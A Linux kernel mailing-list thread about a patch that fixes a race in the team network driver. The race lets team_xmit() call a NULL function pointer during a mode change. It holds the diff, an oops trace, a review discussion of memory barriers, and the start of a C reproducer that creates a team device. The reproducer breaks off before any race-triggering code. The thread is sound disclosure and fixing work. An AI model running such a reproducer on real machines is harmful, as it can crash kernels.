[PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Weiming Shi]

__team_change_mode() clears team->ops with memset() before restoring
safe dummy handlers via team_adjust_ops(). A concurrent team_xmit()
running under RCU on another CPU can read team->ops.transmit during
this window and call a NULL function pointer, crashing the kernel.

The race requires CAP_NET_ADMIN (in init_user_ns) to trigger via
TEAM_CMD_OPTIONS_SET, plus AF_PACKET sendto() on a team device with
forced carrier and no ports.

 BUG: kernel NULL pointer dereference, address: 0000000000000000
 Oops: 0010 [#1] SMP KASAN NOPTI
 RIP: 0010:0x0
 Call Trace:
  team_xmit (drivers/net/team/team_core.c:1853)
  dev_hard_start_xmit (net/core/dev.c:3904)
  __dev_queue_xmit (net/core/dev.c:4871)
  packet_sendmsg (net/packet/af_packet.c:3109)
  __sys_sendto (net/socket.c:2265)

Fix this on the writer side by replacing the memset()/memcpy() with
per-field updates that keep transmit and receive always valid via
smp_store_release(), paired with smp_load_acquire() on the reader
side. A synchronize_net() before exit_op() drains in-flight readers
before tearing down mode state.

Fixes: 3d249d4ca7d0 ("net: introduce ethernet teaming device")
Reported-by: Xiang Mei <xmei5@asu.edu>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
v2:
 - Move fix from data path (reader-side NULL fallback) to
   configuration path (writer-side per-field updates), as suggested
   by the reviewer.
 - Use smp_store_release()/smp_load_acquire() instead of plain
   stores/loads for proper ordering on weakly-ordered architectures.
 - Add synchronize_net() before exit_op() to drain in-flight readers
   and prevent use-after-free of mode private state.

 drivers/net/team/team_core.c | 46 ++++++++++++++++++++++++++----------
 1 file changed, 33 insertions(+), 13 deletions(-)

diff --git a/drivers/net/team/team_core.c b/drivers/net/team/team_core.c
index 0c87f9972..dabee3aa7 100644
--- a/drivers/net/team/team_core.c
+++ b/drivers/net/team/team_core.c
@@ -534,21 +534,22 @@ static void team_adjust_ops(struct team *team)
 
 	if (!team->tx_en_port_count || !team_is_mode_set(team) ||
 	    !team->mode->ops->transmit)
-		team->ops.transmit = team_dummy_transmit;
+		smp_store_release(&team->ops.transmit, team_dummy_transmit);
 	else
-		team->ops.transmit = team->mode->ops->transmit;
+		smp_store_release(&team->ops.transmit, team->mode->ops->transmit);
 
 	if (!team->rx_en_port_count || !team_is_mode_set(team) ||
 	    !team->mode->ops->receive)
-		team->ops.receive = team_dummy_receive;
+		smp_store_release(&team->ops.receive, team_dummy_receive);
 	else
-		team->ops.receive = team->mode->ops->receive;
+		smp_store_release(&team->ops.receive, team->mode->ops->receive);
 }
 
 /*
- * We can benefit from the fact that it's ensured no port is present
- * at the time of mode change. Therefore no packets are in fly so there's no
- * need to set mode operations in any special way.
+ * team_change_mode() ensures no ports are present during mode change,
+ * but lockless readers (AF_PACKET) can still reach team_xmit(). Use
+ * smp_store_release() to publish safe dummy handlers before teardown,
+ * and synchronize_net() to drain in-flight readers.
  */
 static int __team_change_mode(struct team *team,
 			      const struct team_mode *new_mode)
@@ -557,9 +558,23 @@ static int __team_change_mode(struct team *team,
 	if (team_is_mode_set(team)) {
 		void (*exit_op)(struct team *team) = team->ops.exit;
 
-		/* Clear ops area so no callback is called any longer */
-		memset(&team->ops, 0, sizeof(struct team_mode_ops));
-		team_adjust_ops(team);
+		/* Install dummy handlers for locklessly-read hot-path ops
+		 * first, then clear cold-path ops that are only used under
+		 * RTNL.
+		 */
+		smp_store_release(&team->ops.transmit, team_dummy_transmit);
+		smp_store_release(&team->ops.receive, team_dummy_receive);
+		team->ops.init = NULL;
+		team->ops.exit = NULL;
+		team->ops.port_enter = NULL;
+		team->ops.port_leave = NULL;
+		team->ops.port_change_dev_addr = NULL;
+		team->ops.port_tx_disabled = NULL;
+
+		/* Ensure in-flight readers using old handlers have finished
+		 * before tearing down mode state they may depend on.
+		 */
+		synchronize_net();
 
 		if (exit_op)
 			exit_op(team);
@@ -582,7 +597,12 @@ static int __team_change_mode(struct team *team,
 	}
 
 	team->mode = new_mode;
-	memcpy(&team->ops, new_mode->ops, sizeof(struct team_mode_ops));
+	team->ops.init = new_mode->ops->init;
+	team->ops.exit = new_mode->ops->exit;
+	team->ops.port_enter = new_mode->ops->port_enter;
+	team->ops.port_leave = new_mode->ops->port_leave;
+	team->ops.port_change_dev_addr = new_mode->ops->port_change_dev_addr;
+	team->ops.port_tx_disabled = new_mode->ops->port_tx_disabled;
 	team_adjust_ops(team);
 
 	return 0;
@@ -743,7 +763,7 @@ static rx_handler_result_t team_handle_frame(struct sk_buff **pskb)
 		/* allow exact match delivery for disabled ports */
 		res = RX_HANDLER_EXACT;
 	} else {
-		res = team->ops.receive(team, port, skb);
+		res = smp_load_acquire(&team->ops.receive)(team, port, skb);
 	}
 	if (res == RX_HANDLER_ANOTHER) {
 		struct team_pcpu_stats *pcpu_stats;
@@ -1845,7 +1865,7 @@ static netdev_tx_t team_xmit(struct sk_buff *skb, struct net_device *dev)
 
 	tx_success = team_queue_override_transmit(team, skb);
 	if (!tx_success)
-		tx_success = team->ops.transmit(team, skb);
+		tx_success = smp_load_acquire(&team->ops.transmit)(team, skb);
 	if (tx_success) {
 		struct team_pcpu_stats *pcpu_stats;
 
-- 
2.43.0

Re: [PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Jakub Kicinski]

On Sat,  9 May 2026 11:18:26 -0700 Weiming Shi wrote:
> __team_change_mode() clears team->ops with memset() before restoring
> safe dummy handlers via team_adjust_ops(). A concurrent team_xmit()
> running under RCU on another CPU can read team->ops.transmit during
> this window and call a NULL function pointer, crashing the kernel.
> 
> The race requires CAP_NET_ADMIN (in init_user_ns) to trigger via
> TEAM_CMD_OPTIONS_SET, plus AF_PACKET sendto() on a team device with
> forced carrier and no ports.
> 
>  BUG: kernel NULL pointer dereference, address: 0000000000000000
>  Oops: 0010 [#1] SMP KASAN NOPTI
>  RIP: 0010:0x0
>  Call Trace:
>   team_xmit (drivers/net/team/team_core.c:1853)
>   dev_hard_start_xmit (net/core/dev.c:3904)
>   __dev_queue_xmit (net/core/dev.c:4871)
>   packet_sendmsg (net/packet/af_packet.c:3109)
>   __sys_sendto (net/socket.c:2265)
> 
> Fix this on the writer side by replacing the memset()/memcpy() with
> per-field updates that keep transmit and receive always valid via
> smp_store_release(), paired with smp_load_acquire() on the reader
> side. A synchronize_net() before exit_op() drains in-flight readers
> before tearing down mode state.

Barriers are between things. What are the release / acquire barriers
synchronizing.

> Fixes: 3d249d4ca7d0 ("net: introduce ethernet teaming device")
> Reported-by: Xiang Mei <xmei5@asu.edu>
> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> ---
> v2:
>  - Move fix from data path (reader-side NULL fallback) to
>    configuration path (writer-side per-field updates), as suggested
>    by the reviewer.
>  - Use smp_store_release()/smp_load_acquire() instead of plain
>    stores/loads for proper ordering on weakly-ordered architectures.
>  - Add synchronize_net() before exit_op() to drain in-flight readers
>    and prevent use-after-free of mode private state.
> 
>  drivers/net/team/team_core.c | 46 ++++++++++++++++++++++++++----------
>  1 file changed, 33 insertions(+), 13 deletions(-)
> 
> diff --git a/drivers/net/team/team_core.c b/drivers/net/team/team_core.c
> index 0c87f9972..dabee3aa7 100644
> --- a/drivers/net/team/team_core.c
> +++ b/drivers/net/team/team_core.c
> @@ -534,21 +534,22 @@ static void team_adjust_ops(struct team *team)
>  
>  	if (!team->tx_en_port_count || !team_is_mode_set(team) ||
>  	    !team->mode->ops->transmit)
> -		team->ops.transmit = team_dummy_transmit;
> +		smp_store_release(&team->ops.transmit, team_dummy_transmit);
>  	else
> -		team->ops.transmit = team->mode->ops->transmit;
> +		smp_store_release(&team->ops.transmit, team->mode->ops->transmit);
>  
>  	if (!team->rx_en_port_count || !team_is_mode_set(team) ||
>  	    !team->mode->ops->receive)
> -		team->ops.receive = team_dummy_receive;
> +		smp_store_release(&team->ops.receive, team_dummy_receive);
>  	else
> -		team->ops.receive = team->mode->ops->receive;
> +		smp_store_release(&team->ops.receive, team->mode->ops->receive);
>  }
>  
>  /*
> - * We can benefit from the fact that it's ensured no port is present
> - * at the time of mode change. Therefore no packets are in fly so there's no
> - * need to set mode operations in any special way.
> + * team_change_mode() ensures no ports are present during mode change,
> + * but lockless readers (AF_PACKET) can still reach team_xmit(). Use

Why is AF_PACKET relevant here??

> + * smp_store_release() to publish safe dummy handlers before teardown,
> + * and synchronize_net() to drain in-flight readers.
>   */
>  static int __team_change_mode(struct team *team,
>  			      const struct team_mode *new_mode)
> @@ -557,9 +558,23 @@ static int __team_change_mode(struct team *team,
>  	if (team_is_mode_set(team)) {
>  		void (*exit_op)(struct team *team) = team->ops.exit;
>  
> -		/* Clear ops area so no callback is called any longer */
> -		memset(&team->ops, 0, sizeof(struct team_mode_ops));
> -		team_adjust_ops(team);
> +		/* Install dummy handlers for locklessly-read hot-path ops
> +		 * first, then clear cold-path ops that are only used under
> +		 * RTNL.
> +		 */
> +		smp_store_release(&team->ops.transmit, team_dummy_transmit);
> +		smp_store_release(&team->ops.receive, team_dummy_receive);
> +		team->ops.init = NULL;
> +		team->ops.exit = NULL;
> +		team->ops.port_enter = NULL;
> +		team->ops.port_leave = NULL;
> +		team->ops.port_change_dev_addr = NULL;
> +		team->ops.port_tx_disabled = NULL;
> +
> +		/* Ensure in-flight readers using old handlers have finished
> +		 * before tearing down mode state they may depend on.
> +		 */
> +		synchronize_net();
>  
>  		if (exit_op)
>  			exit_op(team);
> @@ -582,7 +597,12 @@ static int __team_change_mode(struct team *team,
>  	}
>  
>  	team->mode = new_mode;
> -	memcpy(&team->ops, new_mode->ops, sizeof(struct team_mode_ops));
> +	team->ops.init = new_mode->ops->init;
> +	team->ops.exit = new_mode->ops->exit;
> +	team->ops.port_enter = new_mode->ops->port_enter;
> +	team->ops.port_leave = new_mode->ops->port_leave;
> +	team->ops.port_change_dev_addr = new_mode->ops->port_change_dev_addr;
> +	team->ops.port_tx_disabled = new_mode->ops->port_tx_disabled;
>  	team_adjust_ops(team);
>  
>  	return 0;
> @@ -743,7 +763,7 @@ static rx_handler_result_t team_handle_frame(struct sk_buff **pskb)
>  		/* allow exact match delivery for disabled ports */
>  		res = RX_HANDLER_EXACT;
>  	} else {
> -		res = team->ops.receive(team, port, skb);
> +		res = smp_load_acquire(&team->ops.receive)(team, port, skb);
>  	}
>  	if (res == RX_HANDLER_ANOTHER) {
>  		struct team_pcpu_stats *pcpu_stats;
> @@ -1845,7 +1865,7 @@ static netdev_tx_t team_xmit(struct sk_buff *skb, struct net_device *dev)
>  
>  	tx_success = team_queue_override_transmit(team, skb);
>  	if (!tx_success)
> -		tx_success = team->ops.transmit(team, skb);
> +		tx_success = smp_load_acquire(&team->ops.transmit)(team, skb);
>  	if (tx_success) {
>  		struct team_pcpu_stats *pcpu_stats;
>  
-- 
pw-bot: cr

Re: [PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Weiming Shi]

On 26-05-10 08:25, Jakub Kicinski wrote:
> On Sat,  9 May 2026 11:18:26 -0700 Weiming Shi wrote:
> > __team_change_mode() clears team->ops with memset() before restoring
> > safe dummy handlers via team_adjust_ops(). A concurrent team_xmit()
> > running under RCU on another CPU can read team->ops.transmit during
> > this window and call a NULL function pointer, crashing the kernel.
> > 
> > The race requires CAP_NET_ADMIN (in init_user_ns) to trigger via
> > TEAM_CMD_OPTIONS_SET, plus AF_PACKET sendto() on a team device with
> > forced carrier and no ports.
> > 
> >  BUG: kernel NULL pointer dereference, address: 0000000000000000
> >  Oops: 0010 [#1] SMP KASAN NOPTI
> >  RIP: 0010:0x0
> >  Call Trace:
> >   team_xmit (drivers/net/team/team_core.c:1853)
> >   dev_hard_start_xmit (net/core/dev.c:3904)
> >   __dev_queue_xmit (net/core/dev.c:4871)
> >   packet_sendmsg (net/packet/af_packet.c:3109)
> >   __sys_sendto (net/socket.c:2265)
> > 
> > Fix this on the writer side by replacing the memset()/memcpy() with
> > per-field updates that keep transmit and receive always valid via
> > smp_store_release(), paired with smp_load_acquire() on the reader
> > side. A synchronize_net() before exit_op() drains in-flight readers
> > before tearing down mode state.
> 
> Barriers are between things. What are the release / acquire barriers
> synchronizing.

The handler function pointer against the mode_priv state it operates
on.  On setup, init() writes mode_priv, then smp_store_release()
publishes the real handler - the paired smp_load_acquire() in the
reader ensures the handler sees that state.  On teardown,
smp_store_release() publishes the dummy before synchronize_net()
drains readers, so exit_op() won't tear down state under an
in-flight reader.

> 
> > Fixes: 3d249d4ca7d0 ("net: introduce ethernet teaming device")
> > Reported-by: Xiang Mei <xmei5@asu.edu>
> > Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> > ---
> > v2:
> >  - Move fix from data path (reader-side NULL fallback) to
> >    configuration path (writer-side per-field updates), as suggested
> >    by the reviewer.
> >  - Use smp_store_release()/smp_load_acquire() instead of plain
> >    stores/loads for proper ordering on weakly-ordered architectures.
> >  - Add synchronize_net() before exit_op() to drain in-flight readers
> >    and prevent use-after-free of mode private state.
> > 
> >  drivers/net/team/team_core.c | 46 ++++++++++++++++++++++++++----------
> >  1 file changed, 33 insertions(+), 13 deletions(-)
> > 
> > diff --git a/drivers/net/team/team_core.c b/drivers/net/team/team_core.c
> > index 0c87f9972..dabee3aa7 100644
> > --- a/drivers/net/team/team_core.c
> > +++ b/drivers/net/team/team_core.c
> > @@ -534,21 +534,22 @@ static void team_adjust_ops(struct team *team)
> >  
> >  	if (!team->tx_en_port_count || !team_is_mode_set(team) ||
> >  	    !team->mode->ops->transmit)
> > -		team->ops.transmit = team_dummy_transmit;
> > +		smp_store_release(&team->ops.transmit, team_dummy_transmit);
> >  	else
> > -		team->ops.transmit = team->mode->ops->transmit;
> > +		smp_store_release(&team->ops.transmit, team->mode->ops->transmit);
> >  
> >  	if (!team->rx_en_port_count || !team_is_mode_set(team) ||
> >  	    !team->mode->ops->receive)
> > -		team->ops.receive = team_dummy_receive;
> > +		smp_store_release(&team->ops.receive, team_dummy_receive);
> >  	else
> > -		team->ops.receive = team->mode->ops->receive;
> > +		smp_store_release(&team->ops.receive, team->mode->ops->receive);
> >  }
> >  
> >  /*
> > - * We can benefit from the fact that it's ensured no port is present
> > - * at the time of mode change. Therefore no packets are in fly so there's no
> > - * need to set mode operations in any special way.
> > + * team_change_mode() ensures no ports are present during mode change,
> > + * but lockless readers (AF_PACKET) can still reach team_xmit(). Use
> 
> Why is AF_PACKET relevant here??
> 

Not specific to the bug, just a reproducer detail.  Dropped.

Sending v3 with the updated changelog shortly.

> > + * smp_store_release() to publish safe dummy handlers before teardown,
> > + * and synchronize_net() to drain in-flight readers.
> >   */
> >  static int __team_change_mode(struct team *team,
> >  			      const struct team_mode *new_mode)
> > @@ -557,9 +558,23 @@ static int __team_change_mode(struct team *team,
> >  	if (team_is_mode_set(team)) {
> >  		void (*exit_op)(struct team *team) = team->ops.exit;
> >  
> > -		/* Clear ops area so no callback is called any longer */
> > -		memset(&team->ops, 0, sizeof(struct team_mode_ops));
> > -		team_adjust_ops(team);
> > +		/* Install dummy handlers for locklessly-read hot-path ops
> > +		 * first, then clear cold-path ops that are only used under
> > +		 * RTNL.
> > +		 */
> > +		smp_store_release(&team->ops.transmit, team_dummy_transmit);
> > +		smp_store_release(&team->ops.receive, team_dummy_receive);
> > +		team->ops.init = NULL;
> > +		team->ops.exit = NULL;
> > +		team->ops.port_enter = NULL;
> > +		team->ops.port_leave = NULL;
> > +		team->ops.port_change_dev_addr = NULL;
> > +		team->ops.port_tx_disabled = NULL;
> > +
> > +		/* Ensure in-flight readers using old handlers have finished
> > +		 * before tearing down mode state they may depend on.
> > +		 */
> > +		synchronize_net();
> >  
> >  		if (exit_op)
> >  			exit_op(team);
> > @@ -582,7 +597,12 @@ static int __team_change_mode(struct team *team,
> >  	}
> >  
> >  	team->mode = new_mode;
> > -	memcpy(&team->ops, new_mode->ops, sizeof(struct team_mode_ops));
> > +	team->ops.init = new_mode->ops->init;
> > +	team->ops.exit = new_mode->ops->exit;
> > +	team->ops.port_enter = new_mode->ops->port_enter;
> > +	team->ops.port_leave = new_mode->ops->port_leave;
> > +	team->ops.port_change_dev_addr = new_mode->ops->port_change_dev_addr;
> > +	team->ops.port_tx_disabled = new_mode->ops->port_tx_disabled;
> >  	team_adjust_ops(team);
> >  
> >  	return 0;
> > @@ -743,7 +763,7 @@ static rx_handler_result_t team_handle_frame(struct sk_buff **pskb)
> >  		/* allow exact match delivery for disabled ports */
> >  		res = RX_HANDLER_EXACT;
> >  	} else {
> > -		res = team->ops.receive(team, port, skb);
> > +		res = smp_load_acquire(&team->ops.receive)(team, port, skb);
> >  	}
> >  	if (res == RX_HANDLER_ANOTHER) {
> >  		struct team_pcpu_stats *pcpu_stats;
> > @@ -1845,7 +1865,7 @@ static netdev_tx_t team_xmit(struct sk_buff *skb, struct net_device *dev)
> >  
> >  	tx_success = team_queue_override_transmit(team, skb);
> >  	if (!tx_success)
> > -		tx_success = team->ops.transmit(team, skb);
> > +		tx_success = smp_load_acquire(&team->ops.transmit)(team, skb);
> >  	if (tx_success) {
> >  		struct team_pcpu_stats *pcpu_stats;
> >  
> -- 
> pw-bot: cr

Re: [PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Jakub Kicinski]

On Mon, 11 May 2026 00:06:50 +0800 Weiming Shi wrote:
> > Barriers are between things. What are the release / acquire barriers
> > synchronizing.  
> 
> The handler function pointer against the mode_priv state it operates
> on.  On setup, init() writes mode_priv, then smp_store_release()
> publishes the real handler - the paired smp_load_acquire() in the
> reader ensures the handler sees that state.  On teardown,
> smp_store_release() publishes the dummy before synchronize_net()
> drains readers, so exit_op() won't tear down state under an
> in-flight reader.

Still does not make sense to me. You already add sync_net().
And if it's possible to switch from dummy to non-dummy mode
the ordering is inverted.

> > Why is AF_PACKET relevant here??
> >   
> 
> Not specific to the bug, just a reproducer detail.  Dropped.
> 
> Sending v3 with the updated changelog shortly.

Please don't rush new versions out.

Re: [PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Weiming Shi]

On 26-05-10 09:59, Jakub Kicinski wrote:
> On Mon, 11 May 2026 00:06:50 +0800 Weiming Shi wrote:
> > > Barriers are between things. What are the release / acquire barriers
> > > synchronizing.  
> > 
> > The handler function pointer against the mode_priv state it operates
> > on.  On setup, init() writes mode_priv, then smp_store_release()
> > publishes the real handler - the paired smp_load_acquire() in the
> > reader ensures the handler sees that state.  On teardown,
> > smp_store_release() publishes the dummy before synchronize_net()
> > drains readers, so exit_op() won't tear down state under an
> > in-flight reader.
> 
> Still does not make sense to me. You already add sync_net().
> And if it's possible to switch from dummy to non-dummy mode
> the ordering is inverted.
> 
> > > Why is AF_PACKET relevant here??
> > >   
> > 
> > Not specific to the bug, just a reproducer detail.  Dropped.
> > 
> > Sending v3 with the updated changelog shortly.
> 
> Please don't rush new versions out.

Hi Jakub,

Apologies for the late reply and for rushing v3.

I was muddling two things. On teardown synchronize_net() is the protection,
the release/acquire is for the setup path where init() writes
mode_priv before team_adjust_ops() publishes the handler.

If that makes sense I'll send v4 with the corrected commit message.

Thanks,
Weiming Shi

Re: [PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Jakub Kicinski]

On Mon, 18 May 2026 17:51:54 +0800 Weiming Shi wrote:
> On 26-05-10 09:59, Jakub Kicinski wrote:
> > On Mon, 11 May 2026 00:06:50 +0800 Weiming Shi wrote:  
> > > The handler function pointer against the mode_priv state it operates
> > > on.  On setup, init() writes mode_priv, then smp_store_release()
> > > publishes the real handler - the paired smp_load_acquire() in the
> > > reader ensures the handler sees that state.  On teardown,
> > > smp_store_release() publishes the dummy before synchronize_net()
> > > drains readers, so exit_op() won't tear down state under an
> > > in-flight reader.  
> > 
> > Still does not make sense to me. You already add sync_net().
> > And if it's possible to switch from dummy to non-dummy mode
> > the ordering is inverted.
> >   
> > > Not specific to the bug, just a reproducer detail.  Dropped.
> > > 
> > > Sending v3 with the updated changelog shortly.  
> > 
> > Please don't rush new versions out.  
> 
> Hi Jakub,
> 
> Apologies for the late reply and for rushing v3.
> 
> I was muddling two things. On teardown synchronize_net() is the protection,
> the release/acquire is for the setup path where init() writes
> mode_priv before team_adjust_ops() publishes the handler.
> 
> If that makes sense I'll send v4 with the corrected commit message.

Can you provide more details for the init() path race?
What's the sequence of events?

Re: [PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Weiming Shi]

On 26-05-18 14:22, Jakub Kicinski wrote:
> On Mon, 18 May 2026 17:51:54 +0800 Weiming Shi wrote:
> > On 26-05-10 09:59, Jakub Kicinski wrote:
> > > On Mon, 11 May 2026 00:06:50 +0800 Weiming Shi wrote:  
> > > > The handler function pointer against the mode_priv state it operates
> > > > on.  On setup, init() writes mode_priv, then smp_store_release()
> > > > publishes the real handler - the paired smp_load_acquire() in the
> > > > reader ensures the handler sees that state.  On teardown,
> > > > smp_store_release() publishes the dummy before synchronize_net()
> > > > drains readers, so exit_op() won't tear down state under an
> > > > in-flight reader.  
> > > 
> > > Still does not make sense to me. You already add sync_net().
> > > And if it's possible to switch from dummy to non-dummy mode
> > > the ordering is inverted.
> > >   
> > > > Not specific to the bug, just a reproducer detail.  Dropped.
> > > > 
> > > > Sending v3 with the updated changelog shortly.  
> > > 
> > > Please don't rush new versions out.  
> > 
> > Hi Jakub,
> > 
> > Apologies for the late reply and for rushing v3.
> > 
> > I was muddling two things. On teardown synchronize_net() is the protection,
> > the release/acquire is for the setup path where init() writes
> > mode_priv before team_adjust_ops() publishes the handler.
> > 
> > If that makes sense I'll send v4 with the corrected commit message.
> 
> Can you provide more details for the init() path race?
> What's the sequence of events?

With loadbalance mode:
 
  lb_init() stores select_tx_port_func (team_mode_loadbalance.c:595).
  When a port is later enabled, team_adjust_ops() publishes
  lb_transmit with a plain store (team_core.c:539).

Without the release/acquire, a concurrent team_xmit() on a weakly-ordered 
arch can see lb_transmit but not the select_tx_port_func store, and lb_transmit 
dereferences it at line 227.

I'll send a PoC in the next mail so you can reproduce it.

 

Re: [PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Jakub Kicinski]

On Tue, 19 May 2026 16:51:28 +0800 Weiming Shi wrote:
> On 26-05-18 14:22, Jakub Kicinski wrote:
> > On Mon, 18 May 2026 17:51:54 +0800 Weiming Shi wrote:  
> > > On 26-05-10 09:59, Jakub Kicinski wrote:  
> > > Apologies for the late reply and for rushing v3.
> > > 
> > > I was muddling two things. On teardown synchronize_net() is the protection,
> > > the release/acquire is for the setup path where init() writes
> > > mode_priv before team_adjust_ops() publishes the handler.
> > > 
> > > If that makes sense I'll send v4 with the corrected commit message.  
> > 
> > Can you provide more details for the init() path race?
> > What's the sequence of events?  
> 
> With loadbalance mode:
>  
>   lb_init() stores select_tx_port_func (team_mode_loadbalance.c:595).
>   When a port is later enabled, team_adjust_ops() publishes
>   lb_transmit with a plain store (team_core.c:539).
> 
> Without the release/acquire, a concurrent team_xmit() on a weakly-ordered 
> arch can see lb_transmit but not the select_tx_port_func store, and lb_transmit 
> dereferences it at line 227.
> 
> I'll send a PoC in the next mail so you can reproduce it.

Not sure this is enough. But feel free to send the v3 if you prefer.

From looking at the repro it seems like you never add any ports?
I suspect that the author of this code assumed that if there are 
no ports there must be no traffic, so it's safe to be flipping the
modes. I'd rather prevent the race than make it safe. Could we defer
setting the real handler until after the first port is added?

Re: [PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Weiming Shi]

On 26-05-19 16:21, Jakub Kicinski wrote:
> On Tue, 19 May 2026 16:51:28 +0800 Weiming Shi wrote:
> > On 26-05-18 14:22, Jakub Kicinski wrote:
> > > On Mon, 18 May 2026 17:51:54 +0800 Weiming Shi wrote:  
> > > > On 26-05-10 09:59, Jakub Kicinski wrote:  
> > > > Apologies for the late reply and for rushing v3.
> > > > 
> > > > I was muddling two things. On teardown synchronize_net() is the protection,
> > > > the release/acquire is for the setup path where init() writes
> > > > mode_priv before team_adjust_ops() publishes the handler.
> > > > 
> > > > If that makes sense I'll send v4 with the corrected commit message.  
> > > 
> > > Can you provide more details for the init() path race?
> > > What's the sequence of events?  
> > 
> > With loadbalance mode:
> >  
> >   lb_init() stores select_tx_port_func (team_mode_loadbalance.c:595).
> >   When a port is later enabled, team_adjust_ops() publishes
> >   lb_transmit with a plain store (team_core.c:539).
> > 
> > Without the release/acquire, a concurrent team_xmit() on a weakly-ordered 
> > arch can see lb_transmit but not the select_tx_port_func store, and lb_transmit 
> > dereferences it at line 227.
> > 
> > I'll send a PoC in the next mail so you can reproduce it.
> 
> Not sure this is enough. But feel free to send the v3 if you prefer.
> 
> From looking at the repro it seems like you never add any ports?
> I suspect that the author of this code assumed that if there are 
> no ports there must be no traffic, so it's safe to be flipping the
> modes. I'd rather prevent the race than make it safe. Could we defer
> setting the real handler until after the first port is added?

The next version will drops the release/acquire and replaces memset/memcpy 
with per-field updates that skip transmit/receive entirely. They stay as dummies 
throughout mode change since team_adjust_ops() already handles them based on port count.
WRITE_ONCE/READ_ONCE for tearing, synchronize_net() before exit_op() to drain old readers.

Does that match what you had in mind, or would you prefer a different structure?

Re: [PATCH net v2] net: team: fix NULL pointer dereference in team_xmit during mode change

[Weiming Shi]

Required key configs for the poc:

```
CONFIG_NET_TEAM=y
CONFIG_NET_TEAM_MODE_ROUNDROBIN=y
CONFIG_NET_TEAM_MODE_ACTIVEBACKUP=y
CONFIG_NET_TEAM_MODE_BROADCAST=y
CONFIG_PACKET=y
```

The PoC used for reproduction:
```c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/genetlink.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <arpa/inet.h>

/* team genl uapi constants (from include/uapi/linux/if_team.h) */
#define TEAM_GENL_NAME          "team"
#define TEAM_GENL_VERSION       1
#define TEAM_ATTR_TEAM_IFINDEX  1
#define TEAM_ATTR_LIST_OPTION   2
#define TEAM_ATTR_ITEM_OPTION   1
#define TEAM_ATTR_OPTION_NAME   1
#define TEAM_ATTR_OPTION_TYPE   3
#define TEAM_ATTR_OPTION_DATA   4
#define TEAM_CMD_OPTIONS_SET    1

#ifndef NLA_F_NESTED
#define NLA_F_NESTED 0x8000
#endif

/* enum nla_attr_type from <net/netlink.h>: NLA_UNSPEC=0, NLA_U8=1,
 * NLA_U16=2, NLA_U32=3, NLA_U64=4, NLA_STRING=5. */
#define POC_NLA_STRING 5

static int g_team_ifindex = -1;
static int g_team_family = -1;
static volatile int g_stop = 0;
static volatile unsigned long g_flips = 0;
static volatile unsigned long g_xmits = 0;

static void die(const char *msg)
{
        perror(msg);
        exit(1);
}

/* ---- rtnetlink helpers ---- */

struct nlmsg {
        struct nlmsghdr nh;
        char buf[4096];
};

static void nlmsg_add_attr(struct nlmsghdr *nh, int type, const void *data, int dlen)
{
        struct rtattr *a = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
        a->rta_type = type;
        a->rta_len = RTA_LENGTH(dlen);
        memcpy(RTA_DATA(a), data, dlen);
        nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(a->rta_len);
}

static struct rtattr *nlmsg_add_nested(struct nlmsghdr *nh, int type)
{
        struct rtattr *a = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
        a->rta_type = type;
        a->rta_len = RTA_LENGTH(0);
        nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(a->rta_len);
        return a;
}

static void nlmsg_end_nested(struct nlmsghdr *nh, struct rtattr *nest)
{
        nest->rta_len = (char *)nh + nh->nlmsg_len - (char *)nest;
}

static int create_team_device(const char *name)
{
        int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sk < 0) die("socket rtnetlink");

        struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
        if (bind(sk, (struct sockaddr *)&sa, sizeof(sa)) < 0)
                die("bind nl");

        struct nlmsg m = {0};
        m.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
        m.nh.nlmsg_type = RTM_NEWLINK;
        m.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
        m.nh.nlmsg_seq = 1;

        struct ifinfomsg *ifi = (struct ifinfomsg *)NLMSG_DATA(&m.nh);
        ifi->ifi_family = AF_UNSPEC;
        ifi->ifi_change = 0xffffffff;

        nlmsg_add_attr(&m.nh, IFLA_IFNAME, name, strlen(name) + 1);
        struct rtattr *linkinfo = nlmsg_add_nested(&m.nh, IFLA_LINKINFO);
        nlmsg_add_attr(&m.nh, IFLA_INFO_KIND, "team", 5);
        nlmsg_end_nested(&m.nh, linkinfo);

        if (send(sk, &m, m.nh.nlmsg_len, 0) < 0) die("send RTM_NEWLINK");

        char rbuf[4096];
        int r = recv(sk, rbuf, sizeof(rbuf), 0);
        if (r < 0) die("recv RTM_NEWLINK");
        struct nlmsghdr *nh = (struct nlmsghdr *)rbuf;
        if (nh->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *e = NLMSG_DATA(nh);
                if (e->error) {
                        fprintf(stderr, "RTM_NEWLINK: %s (%d)\n",
                                strerror(-e->error), e->error);
                        exit(1);
                }
        }
        close(sk);

